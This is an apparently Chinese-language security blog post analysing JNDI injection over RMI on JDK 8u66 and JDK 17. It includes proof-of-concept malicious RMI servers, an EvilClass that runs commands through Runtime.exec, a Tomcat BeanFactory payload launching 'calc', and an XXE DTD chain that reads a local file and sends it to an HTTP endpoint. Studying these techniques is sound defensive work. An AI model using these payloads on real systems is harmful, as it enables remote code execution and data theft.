高版本jdk下的JNDI注入

高版本JDK中的JNDI注入分析
最新推荐文章于 2025-11-26 15:59:01 发布
原创 最新推荐文章于 2025-11-26 15:59:01 发布 · 985 阅读 · 15 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#java #python #web安全

高版本jdk下的JNDI注入

JNDI是java提供的一种查找资源的机制，正常来说会从一个服务器获取对资源的引用，但是一旦从恶意服务器获取引用，就有可能执行恶意代码完成RCE。

以RMI JNDI注入为例，以下是RMI客户端从RMI恶意服务端获取引用从而触发RCE的完整过程：

  1. RMI客户端通过lookup向服务端发起查询，由于查询字符串能够被外部控制，就会导致向恶意服务器发起查询

    RMI Client：

    InitialContext ctx = new InitialContext();
UserService userService = (UserService) ctx.lookup("rmi://localhost:1099/calculator");

    UserService:

    package org.example.seclab17.vulnerability.jndi;

import java.rmi.Remote;
import java.rmi.RemoteException;

// 定义远程接口，必须继承Remote
public interface UserService extends Remote {
    User findUserById(int id) throws RemoteException;
    User findUserByName(String name) throws RemoteException;
}

    User:

    package org.example.seclab17.vulnerability.jndi;

import java.io.Serializable;

public class User implements Serializable {
    private static final long serialVersionUID = 1L;

    private int id;
    private String name;
    private String email;
    private int age;

    public User(int id, String name, String email, int age) {
        this.id = id;
        this.name = name;
        this.email = email;
        this.age = age;
    }

    // getter和setter方法
    public int getId() { return id; }
    public void setId(int id) { this.id = id; }

    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    public String getEmail() { return email; }
    public void setEmail(String email) { this.email = email; }

    public int getAge() { return age; }
    public void setAge(int age) { this.age = age; }

    @Override
    public String toString() {
        return "User [id=" + id + ", name=" + name + ", email=" + email + ", age=" + age + "]";
    }
}

  2. 客户端在获取类的引用后会先找当前环境下是否存在该类定义，如果没有，就会从服务端去找类的字节码（如果服务端定义了字节码的获取路径）

    RMI Server：

    Registry registry = LocateRegistry.createRegistry(1099);
String className = "EvilClass";
String codebase = "http://localhost:8080/"; 
Reference reference = new Reference(className, className, codebase);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calculator", wrapper);

    实际下载字节码的路径为http://localhost:8080/EvilClass.class

  3. 当客户端下载了字节码就会进行加载，从而执行类的静态代码块中的恶意代码从而RCE，相关代码在NamingManager的getObjectFactoryFromReference中：

    static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

    在clas = helper.loadClass(factoryName, codebase);处加载类

因此，对于需要做JNDI查询的客户端来说，只要lookup中的字符串能被控制，就会存在JNDI注入的可能。

以下是jdk8和jdk17的调用链（loadClass）：

（1）jdk8u66中从source到sink的链为：

    javax.naming.InitialContext.lookup(javax.naming.InitialContext.class:417)
        com.sun.jndi.rmi.registry.RegistryContext.lookup(com.sun.jndi.rmi.registry.RegistryContext.class:128)
            com.sun.jndi.rmi.registry.RegistryContext.lookup(com.sun.jndi.rmi.registry.RegistryContext.class:124)
                com.sun.jndi.rmi.registry.RegistryContext.decodeObject(com.sun.jndi.rmi.registry.RegistryContext.class:464)
                    javax.naming.spi.NamingManager.getObjectInstance(javax.naming.spi.NamingManager.class:319)
                        javax.naming.spi.NamingManager.getObjectFactoryFromReference(javax.naming.spi.NamingManager.class:158)
                            com.sun.naming.internal.VersionHelper.loadClass(com.sun.naming.internal.VersionHelper.class:-1)

（2）jdk17中从source到sink的链为：

调用链 #7（节点数：7） ---
    类模块：java.naming
    javax.naming.InitialContext.lookup(javax.naming.InitialContext.class:409)
        类模块：java.naming
        com.sun.jndi.toolkit.url.GenericURLContext.lookup(com.sun.jndi.toolkit.url.GenericURLContext.class:220)
            类模块：jdk.naming.rmi
            com.sun.jndi.rmi.registry.RegistryContext.lookup(com.sun.jndi.rmi.registry.RegistryContext.class:140)
                类模块：jdk.naming.rmi
                com.sun.jndi.rmi.registry.RegistryContext.decodeObject(com.sun.jndi.rmi.registry.RegistryContext.class:501)
                    类模块：java.naming
                    javax.naming.spi.NamingManager.getObjectInstance(javax.naming.spi.NamingManager.class:340)
                        类模块：java.naming
                        javax.naming.spi.NamingManager.getObjectFactoryFromReference(javax.naming.spi.NamingManager.class:169)
                            类模块：java.naming
                            com.sun.naming.internal.VersionHelper.loadClass(-1)

前面的代码适用于jdk 8u66，但是当jdk版本为17时，以上类似的链就会出现一些问题：

客户端错误: javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:497)
	at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:140)
	at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:220)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
	at org.example.seclab17.vulnerability.jndi.RMIClient.main(RMIClient.java:29)

当trustURLCOdebase为false，就会触发该异常，而该值默认为false：

image-20251029071845232

但是当ref.getFactoryClassLocation()为null时就会绕过这个异常，即只需要将Reference的classFactoryLocation字段设置为null，但实际上后面的codebase就是从这个值中取的，如果设置classFactoryLocation为null，那么就无法远程加载类，因此在jdk17 loadClass这条链路是不通的。

另外，当trustURLCOdebase为true时，还需要设置另一个配置为true才可以成功加载codebase，即在jdk17的rmi client一共需要设置两个配置：

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

InitialContext ctx = new InitialContext();
UserService userService = (UserService) ctx.lookup("rmi://localhost:1099/calculator");

远程加载codebase的路不通还可以看到在getObjectInstance中会根据factory调用对应的getObjectInstance，在这个getObjectInstance中也许存在对远程引用危险的使用：

image-20251103020630510

JDNI注入实际上就是由于远程加载恶意类时出现的问题，要找一条可以用的JNDI链路需要确定source和sink：

  • source为通过JNDI Server配置的Reference，具体哪种Reference根据factory而定

  • sink为不同factory的getObjectInstance，这些sink可能会做以下危险操作：

    • 类的动态加载：能加载远程下载的字节码到JVM
    • 危险的类方法：能够远程加载类并执行指定的类方法
    • XXE：能远程加载允许脚本执行的xml文件
    • Sql注入：执行远程指定的sql语句
    • 等等

在tomcat 11.0.2尝试以下factory：

（1）BeanFactory：

BeanFactory的getObjectInstance会加载指定的存在public无参构造的类，然后调用类指定属性的set方法（必须存在属性且该属性有set方法），而且这个set方法的入参只能是String类型

类的形式需要满足：

import java.io.IOException;

public class EvilClass {

    public EvilClass() {}

    private String cmd;

    public void setCmd(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

对应的Server：

package org.example.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef(
                "org.example.seclab17.vulnerability.jndi.EvilClass",
                 null,
                null,
                null,
                false,
                "org.apache.naming.factory.BeanFactory",
                null
        );
        ref.add(new StringRefAddr("forceString", "cmd"));
        ref.add(new StringRefAddr("cmd", "calc"));
        
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("calculator", wrapper);
    }
}

（2）MemoryUserDatabase

MemoryUserDatabase的getObjectInstance会加载指定的远程xml文件，其内部解析xml时使用SAX解析器

对应的Server：

package org.example.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1099);
        Reference ref = new Reference("org.apache.catalina.UserDatabase", "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://localhost:8080/win_oob.xml"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("calculator", wrapper);
    }
}

win_oob.xml：

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
        <!ENTITY % xd SYSTEM "http://localhost:8080/win_oob.dtd">
        %xd;
        ]>
<root>&bbbb;</root>

win_oob.dtd:

<!ENTITY % aaaa SYSTEM "file:///D:/Local_AI_auxiliary_system/Code/java/SecMicroLab/data/file/1.txt">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://localhost:8080/?file=%aaaa;'>">
%demo;

需要注意的是，没有办法将参数实体的引用放在xml文件，因为会报错参数实体引用不能出现在 DTD 的内部子集中的标记内，除此之外，获取的文件数据也要是一段没有空格或其他特殊字符的字符串，否则会导致url格式错误从而无法正确发起请求

当前环境的其他factory没有发现可以利用的点，我也没有引入其他的一些依赖去做测试，所以写的会比较简单

简单总结：

在jdk8u66版本中，JNDI中rmi的利用只需要借助codebase即可完成恶意类的加载，但是在jdk17版本中，则需要基于不同的factory中存在的漏洞甚至结合一些特定的链才可以完成攻击。

JDK高版本下JNDI注入绕过
wfz2333的博客
05-22 1881
只启用RMI服务时，这时候RMI客户端能够去打服务端，有两种情况，第一种就是利用服务端本地的gadget，具体要看服务端pom.xml文件比如yso中yso工具中已经集合了很多gadget chain本地利用yso的打rmi注册表的模块 此时在jdk1.7.0_21和jdk1.7.0_25以及jdk1.8.0上都可以成功，然而在一次攻击内网rmi服务的深思这篇文章中说到jdk8u121以后进行了一定的限制 jdk1.8.0_121测试如下：这种防御机制即JEP290，在jdk8u121提出的，简单来说就
高版本 JDK 限制下 JNDI 注入的利用与绕过
rasssel的博客
09-18 3250
利用方式依赖点场景远程类加载低版本 JDK已被高版本限制本地类加载绕过Tomcat/本地 CLASSPATH 类高版本可用本地反序列化绕过本地 Gadget 链高版本可用。
JNDI注入-高版本绕过
无
07-30 1300
上面讲到了RMI，CORBA，LDAP漏洞被修复了，漏洞出现在客户端拿到Reference后，通过Reference加载codeBase路径下的factory处。下图是从拿到的Reference中获取factory（BeanFactory），之后调用BeanFactory的getObjectInstance方法。获取Reference的ClassName（javax.el.ELProcessor），并loadClass，得到ELProcessor类。修复之前，利用是在LdapCtx.java中的。
tomcat下jdk高版本的JNDI注入解析
b1ackc4t的博客
03-12 745
前言 经典的JNDI注入在jdk8u191以上的版本默认被限制了加载远程工厂类，但可以通过加载一些特殊的本地工厂，达到执行命令的效果 比如常见的tomcat依赖里的BeanFactory就能实现类似的效果 经典payload 服务端 package org.example.rmi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Refe
JNDI注入利用原理及绕过高版本JDK限制
mole_exp的博客
11-07 8663
文章目录前言JNDI 101什么是JNDI使用JNDI的好处几个简单的JNDI代码示例1、使用JNDI操作RMI2、使用JNDI操作LDAPJNDI动态协议转换JNDI Naming ReferencesJNDI 注入利用RMI向量LDAP向量其他向量绕过高版本JDK限制方式1、利用本地Class作为JNDI Reference Factory方式2、LDAP Server返回序列化数据，触发本地反序列化Gadget坑Reference 前言 关于JNDI注入的讨论和研究，起源于国外的安全研究员@pwnte
绕过高版本JDK限制的JNDI注入
weixin_45682070的博客
01-21 2095
前言 JNDI_RMI在JDK 6u132, JDK 7u122, JDK 8u113版本中，系统属性 com.sun.jndi.rmi.object.trustURLCodebase;com.sun.jndi.cosnaming.object.trustURLCodcbase 的默认值变为false，即默认不允许从远程的Codebase加载Reference工厂类。 JNDI_LDAP在Oracle JDK 6u211、7u201、8u191、11.0.1、之后 com.sun.jndi.ldap.obj
java安全-JDK高版本下的JNDI注入
zkaqlaoniao的博客
09-15 1223
本文探讨了高版本JDK中JNDI的两种常见攻击方式（LDAP和RMI）的限制及绕过方法。在JDK 11.0.1、8u191等版本中，trustURLCodebase默认为false，限制了远程类加载。作者提出通过本地类加载实现绕过，重点分析了四种利用方式：1）BeanFactory实现表达式注入；2）MemoryUserDatabaseFactory进行XXE文件读取；3）BasicDataSourceFactory发起JDBC连接攻击；4）GenericNamingResourcesFactory调用se
高版本JDK下绕过受限JNDI注入进行任意类加载
qq_40466372的博客
07-18 1474
高版本JDK下JNDI配合Unsafe实现加载任意类
『Java安全』绕过JDK高版本限制进行JNDI注入学习研究
Ho1aAs‘s Blog
02-22 3429
文章目录绕过原理使用本地类作为恶意工厂攻击RMI探究BeanFactory类pom.xmlPoCjavax.el.ELProcessorGroovy.lang.GroovyShell引用参考完 绕过原理 对于JDK版本11.0.1、8u191、7u201、6u211及以上，RMI和LDAP的trustURLCodebase已经被限制，但是还存在几种方法绕过 使用受害者本地的类作为恶意Reference Factory攻击RMI 利用LDAP返回序列化数据触发Gadget 使用本地类作为恶意工厂攻击RMI
[Java安全]绕过高版本JDK的JNDI注入学习
feng的博客
03-01 1288
[Java安全]绕过高版本JDK的JNDI注入学习 前言 接近2个月没有更新博客了，并不是自己在学什么东西，而是玩了整个寒假。。。因为去年的一些事情，导致现在的自己很颓废，但是毕竟是开学了，还是要慢慢学习了。 基本方法 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类，并利用这个本地的Factory类执行命令。 利用LDAP直接返回一个恶意的序列化对象，JNDI注入依然会对该对象进行反序列化操作，利用反序列化Gadget完成命令执行。 这两种方式都非常依赖受害
jdk21下的jndi注入
2401_83799022的博客
08-28 604
我们最后的在一个端口放上我们的恶意代码的就是JRMP了，直接使用yso里面的工具，我这里为了方便，自己假设有一个可以利用的链子。我们知道打LDAP反序列化无论是远程类加载，还是直接传入序列化的数据或者是打工厂类都是在我们的decodeObject方法。可以看到代码逻辑是读取我们的conn的流，然后传给in，然后根据我们的returnType。我们知道高版本打rmi一般都是打的本地工厂类，我们看看21又对这个做了什么限制。既然在我们两个点上给我们限制了，我们只能找其他可以反序列化的地方了。
【Java代码审计】JNDI+RMI绕过高版本JDK的限制
大河之犬的博客
03-08 1337
传入的 Reference为 ResourceRef 类，后面通过反射的方式实例化 Reference 所指向的任意 Bean Class，调用 setter 方法为所有的属性赋值，该 Bean Class 的类名、属性、属性值，全都来自于 Reference 对象。因此，实际上我们可以调用任意指定类的任意方法，并指定单个可控的参数。因此，我们实际上可以指定一个存在于目标 classpath 中的工厂类名称，交由这个工厂类去实例化实际的目标类(即引用所指向的类)，从而间接实现一定的代码控制。
高低jdk版本中jndi注入(下）
m0_61506558的博客
12-12 494
由前面知道，在然后从JAVA_ATTRIBUTES中取出索引为1即javaSerializedData的内容，这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流；拿到的factory就是org.apache.naming.factory.BeanFactory类，接着调用。函数之间的调用，com.sun.jndi.ldap.LdapCtx类的c_lookup()函数中会调用到com.sun.jndi.ldap.Obj类的。
MyBatis + PageHelper 分页内幕，PageHelper 是如何动态构建 LIMIT 分页 SQL 的
最新发布
日常笔记 | 干货分享 | 毕设源码 | 毕设指导 | 答辩指导
11-26 279
若依系统中有很多的表格数据、后端接口实体中并没有看到有接收分页大小和页码的属性，在系统的mapper层面SQL语句中并没有看到对应的分页限制。它是如何实现这个分页效果的呢？是将所有的数据查询出来，然后再分页吗？这样效率岂不是非常低。带着这样的疑问，稍微研究了一下这个系统的分页方法。更多详细文章后端是通过从 HttpServletRequest 对象中获取分页的页码和大小，然后创建Page分页对象，在执行sql查询的时候，动态构建分页限制条件。从而实现分页，并不是在查询到所有数据之后再进行的分页处理。
Java原生网络编程-BIO与NIO
照母山挖洋芋
11-24 800
摘要：本文对比了Java原生JDK中的BIO(阻塞I/O)和NIO(非阻塞I/O)网络编程模型。BIO采用"一连接一线程"模式，存在线程资源浪费和性能瓶颈问题，可通过线程池优化为伪异步I/O模型。NIO通过Selector、Channel和Buffer三大核心组件实现非阻塞通信，支持单线程管理多个通道。重点介绍了NIO的Reactor模式、事件类型(OP_READ/OP_WRITE等)及服务端/客户端的不同关注点，展示了NIO相比BIO在高并发场景下的优势。（149字）
Java集合框架实战：构建高效的企业管理系统
2402_83075343的博客
11-23 1032
本文通过两个企业管理系统案例，详细解析了Java集合框架的核心应用。员工部门管理系统采用HashMap实现部门与员工的高效映射，具备智能添加、快速查询和动态统计功能；商品库存管理系统基于ArrayList实现精细化管控，包含智能录入、库存预警和价格排序等特性。文章对比了HashMap和ArrayList的特性差异，提供了集合选型的最佳实践，并探讨了系统扩展方向。这两个实战案例展示了集合框架在企业应用中的实际价值，为开发者掌握Java集合提供了实用参考。
Spring Boot与MyBatis
2509_94083104的博客
11-23 1081
Spring Boot是一个用于创建独立的、基于Spring的生产级应用程序的框架，它简化了Spring应用的初始搭建以及开发过程。MyBatis是一款优秀的持久层框架，它支持定制化SQL、存储过程以及高级映射。将Spring Boot和MyBatis结合使用，可以高效地开发数据驱动的应用程序。
AspectJ、Spring AOP 与 Solon AOP：Java AOP 框架的三剑客
向往自由的少年！（我是一个少年！！！）
11-26 275
本文对比了Java企业级开发中三种主流AOP实现：AspectJ、Spring AOP和Solon AOP。AspectJ功能最全面，支持字节码织入，可拦截各类连接点但配置复杂；Spring AOP基于动态代理，与Spring生态集成度高，但仅支持方法执行拦截；Solon AOP同样使用动态代理，采用纯注解驱动设计，更轻量但侵入性较强。选择建议：Spring项目优先Spring AOP，极致需求选AspectJ，轻量云原生场景考虑Solon AOP。三种方案各有侧重，可根据项目需求灵活选择。
2025最新 SpringCloud 教程，教程简介，笔记01
Rockandrollman的博客
11-24 102
2025最新 SpringCloud 教程，教程简介，笔记01
高版本jndi如何绕过
08-01
- 原理：当目标环境中存在可被利用的反序列化Gadget链（如commons-collections、groovy等）时，即使远程类加载被禁用，攻击者仍可通过JNDI注入触发本地类路径中的恶意逻辑 - 实现： ```java // 构造指向恶意RMI...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值